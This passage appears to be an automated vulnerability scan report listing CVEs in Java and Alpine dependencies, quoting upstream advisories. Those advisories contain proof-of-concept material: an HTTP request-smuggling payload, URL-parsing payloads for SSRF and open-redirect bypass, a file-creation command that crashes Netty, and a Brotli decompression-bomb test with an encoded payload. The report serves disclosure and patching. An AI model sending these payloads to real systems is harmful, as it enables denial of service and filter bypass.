Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
- -
Description -
- -### Impact - -Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. - -### Workarounds - -There is no workaround as there is no known exploit scenario. - -### Original Report - -[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. - -Payload: - -``` - POST / HTTP/1.1 - Host: a.com - Content-Length: +16 - Connection: close - ​ - 0123456789abcdef -``` - -When sending this payload to Jetty, it can successfully parse and identify the length. - -When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. - -This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. - -
-
- -medium 4.3: CVE--2023--41900 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range>=9.4.21
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score4.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.131%
EPSS Percentile33rd percentile
- -
Description -
- -If a Jetty `OpenIdAuthenticator` uses the optional nested `LoginService`, and that `LoginService` decides to revoke an already authenticated user, then the current request will still treat the user as authenticated. The authentication is then cleared from the session and subsequent requests will not be treated as authenticated. - -So a request on a previously authenticated session could be allowed to bypass authentication after it had been rejected by the `LoginService`. - -
-
- -low 3.5: CVE--2023--36479 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities - - - - - - - - -
Affected range>=9.0.0
<9.4.52
Fixed version9.4.52.v20230823, 10.0.16, 11.0.16
CVSS Score3.5
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:L/A:N
EPSS Score1.383%
EPSS Percentile80th percentile
- -
Description -
- -If a user sends a request to a `org.eclipse.jetty.servlets.CGI` Servlet for a binary with a space in its name, the servlet will escape the command by wrapping it in quotation marks. This wrapped command, plus an optional command prefix, will then be executed through a call to Runtime.exec. If the original binary name provided by the user contains a quotation mark followed by a space, the resulting command line will contain multiple tokens instead of one. For example, if a request references a binary called file” name “here, the escaping algorithm will generate the command line string “file” name “here”, which will invoke the binary named file, not the one that the user requested. - -```java -if (execCmd.length() > 0 && execCmd.charAt(0) != '"' && execCmd.contains(" ")) -execCmd = "\"" + execCmd + "\""; -``` - -
-
-
-
critical: 0 high: 0 medium: 2 low: 0 io.netty/netty-common 4.1.96.Final (maven) - -pkg:maven/io.netty/netty-common@4.1.96.Final
-medium 5.5: CVE--2025--25193 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<4.1.118.Final
Fixed version4.1.118.Final
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.063%
EPSS Percentile20th percentile
- -
Description -
- -### Summary -An unsafe reading of environment file could potentially cause a denial of service in Netty. -When loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash. - -### Details -A similar issue was previously reported in https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv -This issue was fixed, but the fix was incomplete in that null-bytes were not counted against the input limit. - - -### PoC -The PoC is the same as for https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv with the detail that the file should only contain null-bytes; 0x00. -When the null-bytes are encountered by the `InputStreamReader`, it will issue replacement characters in its charset decoding, which will fill up the line-buffer in the `BufferedReader.readLine()`, because the replacement character is not a line-break character. - -### Impact -Impact is the same as https://github.com/netty/netty/security/advisories/GHSA-xq3w-v528-46rv - -
-
- -medium 5.4: CVE--2024--47535 Uncontrolled Resource Consumption - - - - - - - - -
Affected range<=4.1.114.Final
Fixed version4.1.115.Final
CVSS Score5.4
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P
EPSS Score0.198%
EPSS Percentile42nd percentile
- -
Description -
- -### Summary - -An unsafe reading of environment file could potentially cause a denial of service in Netty. -When loaded on an Windows application, Netty attemps to load a file that does not exist. If an attacker creates such a large file, the Netty application crash. - - -### Details - -When the library netty is loaded in a java windows application, the library tries to identify the system environnement in which it is executed. - -At this stage, Netty tries to load both `/etc/os-release` and `/usr/lib/os-release` even though it is in a Windows environment. - -1 - -If netty finds this files, it reads them and loads them into memory. - -By default : - -- The JVM maximum memory size is set to 1 GB, -- A non-privileged user can create a directory at `C:\` and create files within it. - -2 - -3 - -the source code identified : -https://github.com/netty/netty/blob/4.1/common/src/main/java/io/netty/util/internal/PlatformDependent.java - -Despite the implementation of the function `normalizeOs()` the source code not verify the OS before reading `C:\etc\os-release` and `C:\usr\lib\os-release`. - -### PoC - -Create a file larger than 1 GB of data in `C:\etc\os-release` or `C:\usr\lib\os-release` on a Windows environnement and start your Netty application. - -To observe what the application does with the file, the security analyst used "Process Monitor" from the "Windows SysInternals" suite. (https://learn.microsoft.com/en-us/sysinternals/) - -``` -cd C:\etc -fsutil file createnew os-release 3000000000 -``` - -4 - -5 - -The source code used is the Netty website code example : [Echo ‐ the very basic client and server](https://netty.io/4.1/xref/io/netty/example/echo/package-summary.html). - -The vulnerability was tested on the 4.1.112.Final version. - -The security analyst tried the same technique for `C:\proc\sys\net\core\somaxconn` with a lot of values to impact Netty but the only things that works is the "larger than 1 GB file" technique. https://github.com/netty/netty/blob/c0fdb8e9f8f256990e902fcfffbbe10754d0f3dd/common/src/main/java/io/netty/util/NetUtil.java#L186 - -### Impact - -By loading the "file larger than 1 GB" into the memory, the Netty library exceeds the JVM memory limit and causes a crash in the java Windows application. - -This behaviour occurs 100% of the time in both Server mode and Client mode if the large file exists. - -Client mode : - -6 - -Server mode : - -7 - -somaxconn : - -8 - -### Severity - -- Attack vector : "Local" because the attacker needs to be on the system where the Netty application is running. -- Attack complexity : "Low" because the attacker only need to create a massive file (regardless of its contents). -- Privileges required : "Low" because the attacker requires a user account to exploit the vulnerability. -- User intercation : "None" because the administrator don't need to accidentally click anywhere to trigger the vulnerability. Furthermore, the exploitation works with defaults windows/AD settings. -- Scope : "Unchanged" because only Netty is affected by the vulnerability. -- Confidentiality : "None" because no data is exposed through exploiting the vulnerability. -- Integrity : "None" because the explotation of the vulnerability does not allow editing, deleting or adding data elsewhere. -- Availability : "High" because the exploitation of this vulnerability crashes the entire java application. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 0 org.eclipse.jetty/jetty-http 9.4.51.v20230217 (maven) - -pkg:maven/org.eclipse.jetty/jetty-http@9.4.51.v20230217
-medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input - - - - - - - - -
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
- -
Description -
- -## Summary - -Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. - -The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. - -## Details - -### Affected components - -The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. - -### Attack overview - -The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. - -### Attack scenario - -A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. - -This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. - -## PoC - -payloads: - -``` -http://browser.check &@vulndetector.com/ -http://browser.check #@vulndetector.com/ -http://browser.check?@vulndetector.com/ -http://browser.check#@vulndetector.com/ -http://vulndetector.com\\/ -``` - -The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". - -``` - -``` -A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). - -| Invalid URI | Jetty | Chrome | -| ---------------------------------------------- | ---------------- | ------------- | -| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | -| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | - -The problem of 302 redirect parsing in HTTP 302 Location - -| Input | Jetty | Chrome | -| ------------------------ | -------------- | ------------- | -| http://browser.check%5c/ | browser.check\ | browser.check | - -It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. - -## Impact - -The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. - -## Mitigation - -The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. -The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). - -Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). - -## Reference - -[1] https://cwe.mitre.org/data/definitions/918.html -[2] https://cwe.mitre.org/data/definitions/601.html - -
-
- -medium 5.3: CVE--2023--40167 Improper Handling of Length Parameter Inconsistency - - - - - - - - -
Affected range>=9.0.0
<=9.4.51
Fixed version9.4.52
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score5.222%
EPSS Percentile90th percentile
- -
Description -
- -### Impact - -Jetty accepts the '+' character proceeding the content-length value in a HTTP/1 header field. This is more permissive than allowed by the RFC and other servers routinely reject such requests with 400 responses. There is no known exploit scenario, but it is conceivable that request smuggling could result if jetty is used in combination with a server that does not close the connection after sending such a 400 response. - -### Workarounds - -There is no workaround as there is no known exploit scenario. - -### Original Report - -[RFC 9110 Secion 8.6](https://www.rfc-editor.org/rfc/rfc9110#section-8.6) defined the value of Content-Length header should be a string of 0-9 digits. However we found that Jetty accepts "+" prefixed Content-Length, which could lead to potential HTTP request smuggling. - -Payload: - -``` - POST / HTTP/1.1 - Host: a.com - Content-Length: +16 - Connection: close - ​ - 0123456789abcdef -``` - -When sending this payload to Jetty, it can successfully parse and identify the length. - -When sending this payload to NGINX, Apache HTTPd or other HTTP servers/parsers, they will return 400 bad request. - -This behavior can lead to HTTP request smuggling and can be leveraged to bypass WAF or IDS. - -
-
-
-
critical: 0 high: 0 medium: 2 low: 0 org.apache.commons/commons-configuration2 2.8.0 (maven) - -pkg:maven/org.apache.commons/commons-configuration2@2.8.0
-medium 6.9: CVE--2024--29133 Out-of-bounds Write - - - - - - - - -
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
EPSS Score0.680%
EPSS Percentile71st percentile
- -
Description -
- -This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' calling 'ListDelimiterHandler.flatten(Object, int)' with a cyclical object tree. -Users are recommended to upgrade to version 2.10.1, which fixes the issue. - -
-
- -medium 6.5: CVE--2024--29131 Out-of-bounds Write - - - - - - - - -
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
EPSS Score0.203%
EPSS Percentile42nd percentile
- -
Description -
- -This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' when adding a property in 'AbstractListDelimiterHandler.flattenIterator()'. -Users are recommended to upgrade to version 2.10.1, which fixes the issue. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 2 busybox 1.36.1-r29 (apk) - -pkg:apk/alpine/busybox@1.36.1-r29?os_name=alpine&os_version=3.20
-medium : CVE--2025--60876 - - - - - - -
Affected range<=1.36.1-r29
Fixed versionNot Fixed
EPSS Score0.050%
EPSS Percentile16th percentile
- -
Description -
- - - -
-
- -low : CVE--2025--46394 - - - - - - -
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.018%
EPSS Percentile4th percentile
- -
Description -
- - - -
-
- -low : CVE--2024--58251 - - - - - - -
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.021%
EPSS Percentile5th percentile
- -
Description -
- - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 27.0-jre (maven) - -pkg:maven/com.google.guava/guava@27.0-jre
-medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.071%
EPSS Percentile22nd percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 30.1.1-jre (maven) - -pkg:maven/com.google.guava/guava@30.1.1-jre
-medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions - - - - - - - - -
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.071%
EPSS Percentile22nd percentile
- -
Description -
- -Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. - -Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. - -
-
- -low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding - - - - - - - - -
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
- -
Description -
- -A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. - - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.logging.log4j/log4j-core 2.22.1 (maven) - -pkg:maven/org.apache.logging.log4j/log4j-core@2.22.1
-medium 6.3: CVE--2025--68161 Improper Validation of Certificate with Host Mismatch - - - - - - - - -
Affected range>=2.0-beta9
<2.25.3
Fixed version2.25.3
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:L/SA:N
EPSS Score0.037%
EPSS Percentile11th percentile
- -
Description -
- -The Socket Appender in Apache Log4j Core versions 2.0-beta9 through 2.25.2 does not perform TLS hostname verification of the peer certificate, even when the [verifyHostName](https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName) configuration attribute or the [log4j2.sslVerifyHostName](https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName) system property is set to true. - -This issue may allow a man-in-the-middle attacker to intercept or redirect log traffic under the following conditions: - - * The attacker is able to intercept or redirect network traffic between the client and the log receiver. - * The attacker can present a server certificate issued by a certification authority trusted by the Socket Appender’s configured trust store (or by the default Java trust store if no custom trust store is configured). - - -Users are advised to upgrade to Apache Log4j Core version 2.25.3, which addresses this issue. - -As an alternative mitigation, the Socket Appender may be configured to use a private or restricted trust root to limit the set of trusted certificates. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-servlets 9.4.52.v20230823 (maven) - -pkg:maven/org.eclipse.jetty/jetty-servlets@9.4.52.v20230823
-medium 5.3: CVE--2024--9823 Uncontrolled Resource Consumption - - - - - - - - -
Affected range>=9.0.0
<9.4.54
Fixed version9.4.54
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.591%
EPSS Percentile69th percentile
- -
Description -
- -Description -There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally. - - -Vulnerability details -The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition. - - -Impact -Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout. - - -Patches -The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured. - - -Patched releases: - - * 9.4.54 - * 10.0.18 - * 11.0.18 - * 12.0.3 - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.spark/spark-network-common_2.12 3.5.0 (maven) - -pkg:maven/org.apache.spark/spark-network-common_2.12@3.5.0
-medium 4.6: CVE--2025--55039 Inadequate Encryption Strength - - - - - - - - -
Affected range>=3.5.0
<3.5.2
Fixed version3.5.2
CVSS Score4.6
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U
EPSS Score0.058%
EPSS Percentile18th percentile
- -
Description -
- -This issue affects Apache Spark versions before 3.4.4, 3.5.2 and 4.0.0. - -Apache Spark versions before 4.0.0, 3.5.2 and 3.4.4 use an insecure default network encryption cipher for RPC communication between nodes. - -When spark.network.crypto.enabled is set to true (it is set to false by default), but spark.network.crypto.cipher is not explicitly configured, Spark defaults to AES in CTR mode (AES/CTR/NoPadding), which provides encryption without authentication. - -This vulnerability allows a man-in-the-middle attacker to modify encrypted RPC traffic undetected by flipping bits in ciphertext, potentially compromising heartbeat messages or application data and affecting the integrity of Spark workflows. - -To mitigate this issue, users should either configure spark.network.crypto.cipher to AES/GCM/NoPadding to enable authenticated encryption or enable SSL encryption by setting spark.ssl.enabled to true, which provides stronger transport security. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 io.netty/netty-codec 4.1.96.Final (maven) - -pkg:maven/io.netty/netty-codec@4.1.96.Final
-medium 6.9: CVE--2025--58057 Improper Handling of Highly Compressed Data (Data Amplification) - - - - - - - - -
Affected range<4.1.125.Final
Fixed version4.1.125.Final
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
EPSS Score0.070%
EPSS Percentile22nd percentile
- -
Description -
- -### Summary - -With specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. - -### Details - -`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb. - -Tested on 4.1.118, but there were no changes to the decoder since. - -### PoC - -Run this test case with `-Xmx1G`: - -```java -import io.netty.buffer.Unpooled; -import io.netty.channel.embedded.EmbeddedChannel; - -import java.util.Base64; - -public class T { - public static void main(String[] args) { - EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder()); - channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA="))); - } -} -``` - -Error: - -``` -Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824) - at java.base/java.nio.Bits.reserveMemory(Bits.java:178) - at java.base/java.nio.DirectByteBuffer.(DirectByteBuffer.java:121) - at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332) - at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718) - at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693) - at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213) - at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195) - at io.netty.buffer.PoolArena.allocate(PoolArena.java:137) - at io.netty.buffer.PoolArena.allocate(PoolArena.java:127) - at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403) - at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188) - at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179) - at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116) - at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70) - at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101) - at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137) - at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) - at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) - at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) - at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) - at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440) - at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) - at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868) - at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348) - at io.netty.handler.codec.compression.T.main(T.java:11) -``` - -### Impact - -DoS for anyone using `BrotliDecoder` on untrusted input. - -
-
-
-
critical: 0 high: 0 medium: 1 low: 0 org.apache.zookeeper/zookeeper 3.8.3 (maven) - -pkg:maven/org.apache.zookeeper/zookeeper@3.8.3
-medium 5.3: CVE--2024--23944 Exposure of Sensitive Information to an Unauthorized Actor - - - - - - - - -
Affected range>=3.8.0
<=3.8.3
Fixed version3.8.4
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
EPSS Score0.028%
EPSS Percentile7th percentile
- -
Description -
